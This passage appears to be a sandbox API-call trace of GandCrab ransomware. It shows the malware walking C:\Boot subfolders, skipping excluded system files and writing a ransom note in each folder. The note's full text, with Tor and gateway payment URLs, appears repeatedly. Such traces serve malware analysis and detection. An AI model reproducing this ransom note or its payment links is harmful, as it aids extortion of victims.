hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.585] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.585] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.585] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.585] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.585] lstrlenW (lpString="C:\\Boot\\es-ES\\") returned 14 [0052.585] lstrcatW (in: lpString1="C:\\Boot\\es-ES\\", lpString2="*" | out: lpString1="C:\\Boot\\es-ES\\*") returned="C:\\Boot\\es-ES\\*" [0052.585] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x588b20 [0052.586] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.586] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.586] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.586] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.586] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.586] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.586] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.586] lstrcatW (in: lpString1="C:\\Boot\\es-ES\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned="C:\\Boot\\es-ES\\bootmgr.exe.mui" [0052.586] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0052.586] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.586] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.586] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.586] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.586] lstrcatW (in: lpString1="C:\\Boot\\es-ES\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\es-ES\\memtest.exe.mui") returned="C:\\Boot\\es-ES\\memtest.exe.mui" [0052.586] lstrlenW (lpString="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29 [0052.586] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.586] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0052.586] FindClose (in: hFindFile=0x588b20 | out: hFindFile=0x588b20) returned 1 [0052.586] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.586] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\es-ES\\\\GDCB-DECRYPT.txt") returned 31 [0052.586] CreateFileW (lpFileName="C:\\Boot\\es-ES\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\es-es\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0052.587] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.587] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f794, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f794*=0xad6, lpOverlapped=0x0) returned 1 [0052.587] CloseHandle (hObject=0x4e0) returned 1 [0052.587] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.588] lstrlenW (lpString="C:\\Boot\\es-ES\\") returned 14 [0052.588] lstrcatW (in: lpString1="C:\\Boot\\es-ES\\", lpString2="*" | out: lpString1="C:\\Boot\\es-ES\\*") returned="C:\\Boot\\es-ES\\*" [0052.588] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x588de0 [0052.588] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.588] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.588] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.588] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.588] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.588] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.588] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.588] lstrcatW (in: lpString1="C:\\Boot\\es-ES\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned="C:\\Boot\\es-ES\\bootmgr.exe.mui" [0052.588] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.588] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0052.588] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0052.588] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.589] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.589] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.589] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.589] lstrcatW (in: lpString1="C:\\Boot\\es-ES\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\es-ES\\GDCB-DECRYPT.txt") returned="C:\\Boot\\es-ES\\GDCB-DECRYPT.txt" [0052.589] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.589] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\es-ES\\GDCB-DECRYPT.txt") returned 30 [0052.589] lstrlenW (lpString="C:\\Boot\\es-ES\\GDCB-DECRYPT.txt") returned 30 [0052.589] lstrlenW (lpString="C:\\Boot\\es-ES\\GDCB-DECRYPT.txt") returned 30 [0052.589] lstrlenW (lpString="C:\\Boot\\es-ES\\GDCB-DECRYPT.txt") returned 30 [0052.589] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.589] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.589] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.589] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.589] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.589] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.589] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.589] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.589] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.589] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.590] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.590] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.590] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.590] lstrcatW (in: lpString1="C:\\Boot\\es-ES\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\es-ES\\memtest.exe.mui") returned="C:\\Boot\\es-ES\\memtest.exe.mui" [0052.590] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.591] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29 [0052.591] lstrlenW (lpString="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29 [0052.591] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.591] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0052.591] FindClose (in: hFindFile=0x588de0 | out: hFindFile=0x588de0) returned 1 [0052.591] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.591] lstrcmpW (lpString1="es-MX", lpString2=".") returned 1 [0052.591] lstrcmpW (lpString1="es-MX", lpString2="..") returned 1 [0052.591] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="es-MX" | out: lpString1="C:\\Boot\\es-MX") returned="C:\\Boot\\es-MX" [0052.591] lstrcatW (in: lpString1="C:\\Boot\\es-MX", lpString2="\\" | out: lpString1="C:\\Boot\\es-MX\\") returned="C:\\Boot\\es-MX\\" [0052.591] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.592] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.592] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.592] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.592] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.592] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.592] lstrlenW (lpString="C:\\Boot\\es-MX\\") returned 14 [0052.592] lstrcatW (in: lpString1="C:\\Boot\\es-MX\\", lpString2="*" | out: lpString1="C:\\Boot\\es-MX\\*") returned="C:\\Boot\\es-MX\\*" [0052.592] FindFirstFileW (in: lpFileName="C:\\Boot\\es-MX\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x588a20 [0052.598] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.598] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.598] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.598] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.598] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.598] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.598] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.598] lstrcatW (in: lpString1="C:\\Boot\\es-MX\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\es-MX\\bootmgr.exe.mui") returned="C:\\Boot\\es-MX\\bootmgr.exe.mui" [0052.598] lstrlenW (lpString="C:\\Boot\\es-MX\\bootmgr.exe.mui") returned 29 [0052.598] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.598] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0052.598] FindClose (in: hFindFile=0x588a20 | out: hFindFile=0x588a20) returned 1 [0052.598] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.599] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\es-MX\\\\GDCB-DECRYPT.txt") returned 31 [0052.599] CreateFileW (lpFileName="C:\\Boot\\es-MX\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\es-mx\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0052.599] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.599] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f794, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f794*=0xad6, lpOverlapped=0x0) returned 1 [0052.600] CloseHandle (hObject=0x4e0) returned 1 [0052.600] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.600] lstrlenW (lpString="C:\\Boot\\es-MX\\") returned 14 [0052.600] lstrcatW (in: lpString1="C:\\Boot\\es-MX\\", lpString2="*" | out: lpString1="C:\\Boot\\es-MX\\*") returned="C:\\Boot\\es-MX\\*" [0052.600] FindFirstFileW (in: lpFileName="C:\\Boot\\es-MX\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x588a20 [0052.600] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.600] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.600] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.600] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.600] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.600] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.600] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.600] lstrcatW (in: lpString1="C:\\Boot\\es-MX\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\es-MX\\bootmgr.exe.mui") returned="C:\\Boot\\es-MX\\bootmgr.exe.mui" [0052.600] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.601] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\es-MX\\bootmgr.exe.mui") returned 29 [0052.601] lstrlenW (lpString="C:\\Boot\\es-MX\\bootmgr.exe.mui") returned 29 [0052.601] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.601] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.601] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.601] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.601] lstrcatW (in: lpString1="C:\\Boot\\es-MX\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\es-MX\\GDCB-DECRYPT.txt") returned="C:\\Boot\\es-MX\\GDCB-DECRYPT.txt" [0052.601] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.601] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\es-MX\\GDCB-DECRYPT.txt") returned 30 [0052.601] lstrlenW (lpString="C:\\Boot\\es-MX\\GDCB-DECRYPT.txt") returned 30 [0052.601] lstrlenW (lpString="C:\\Boot\\es-MX\\GDCB-DECRYPT.txt") returned 30 [0052.601] lstrlenW (lpString="C:\\Boot\\es-MX\\GDCB-DECRYPT.txt") returned 30 [0052.602] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.602] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.602] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.602] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.602] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.602] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.602] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.602] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.602] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.602] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.602] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0052.602] FindClose (in: hFindFile=0x588a20 | out: hFindFile=0x588a20) returned 1 [0052.602] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.602] lstrcmpW (lpString1="et-EE", lpString2=".") returned 1 [0052.602] lstrcmpW (lpString1="et-EE", lpString2="..") returned 1 [0052.602] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="et-EE" | out: lpString1="C:\\Boot\\et-EE") returned="C:\\Boot\\et-EE" [0052.602] lstrcatW (in: lpString1="C:\\Boot\\et-EE", lpString2="\\" | out: lpString1="C:\\Boot\\et-EE\\") returned="C:\\Boot\\et-EE\\" [0052.602] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.602] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.602] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.603] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.603] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.603] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.603] lstrlenW (lpString="C:\\Boot\\et-EE\\") returned 14 [0052.603] lstrcatW (in: lpString1="C:\\Boot\\et-EE\\", lpString2="*" | out: lpString1="C:\\Boot\\et-EE\\*") returned="C:\\Boot\\et-EE\\*" [0052.603] FindFirstFileW (in: lpFileName="C:\\Boot\\et-EE\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x588aa0 [0052.603] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.603] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.603] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.603] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.603] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.603] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.603] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.603] lstrcatW (in: lpString1="C:\\Boot\\et-EE\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\et-EE\\bootmgr.exe.mui") returned="C:\\Boot\\et-EE\\bootmgr.exe.mui" [0052.603] lstrlenW (lpString="C:\\Boot\\et-EE\\bootmgr.exe.mui") returned 29 [0052.603] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.603] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0052.603] FindClose (in: hFindFile=0x588aa0 | out: hFindFile=0x588aa0) returned 1 [0052.603] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.604] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\et-EE\\\\GDCB-DECRYPT.txt") returned 31 [0052.604] CreateFileW (lpFileName="C:\\Boot\\et-EE\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\et-ee\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0052.604] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.604] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f794, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f794*=0xad6, lpOverlapped=0x0) returned 1 [0052.604] CloseHandle (hObject=0x4e0) returned 1 [0052.605] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.605] lstrlenW (lpString="C:\\Boot\\et-EE\\") returned 14 [0052.605] lstrcatW (in: lpString1="C:\\Boot\\et-EE\\", lpString2="*" | out: lpString1="C:\\Boot\\et-EE\\*") returned="C:\\Boot\\et-EE\\*" [0052.605] FindFirstFileW (in: lpFileName="C:\\Boot\\et-EE\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x588de0 [0052.605] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.605] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.605] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.605] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.605] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.605] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.605] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.605] lstrcatW (in: lpString1="C:\\Boot\\et-EE\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\et-EE\\bootmgr.exe.mui") returned="C:\\Boot\\et-EE\\bootmgr.exe.mui" [0052.605] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.605] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\et-EE\\bootmgr.exe.mui") returned 29 [0052.606] lstrlenW (lpString="C:\\Boot\\et-EE\\bootmgr.exe.mui") returned 29 [0052.606] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.606] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.606] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.606] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.606] lstrcatW (in: lpString1="C:\\Boot\\et-EE\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\et-EE\\GDCB-DECRYPT.txt") returned="C:\\Boot\\et-EE\\GDCB-DECRYPT.txt" [0052.606] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.606] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\et-EE\\GDCB-DECRYPT.txt") returned 30 [0052.606] lstrlenW (lpString="C:\\Boot\\et-EE\\GDCB-DECRYPT.txt") returned 30 [0052.606] lstrlenW (lpString="C:\\Boot\\et-EE\\GDCB-DECRYPT.txt") returned 30 [0052.606] lstrlenW (lpString="C:\\Boot\\et-EE\\GDCB-DECRYPT.txt") returned 30 [0052.606] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.606] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.606] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.606] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.606] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.606] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.606] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.606] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.606] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.606] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.607] FindNextFileW (in: 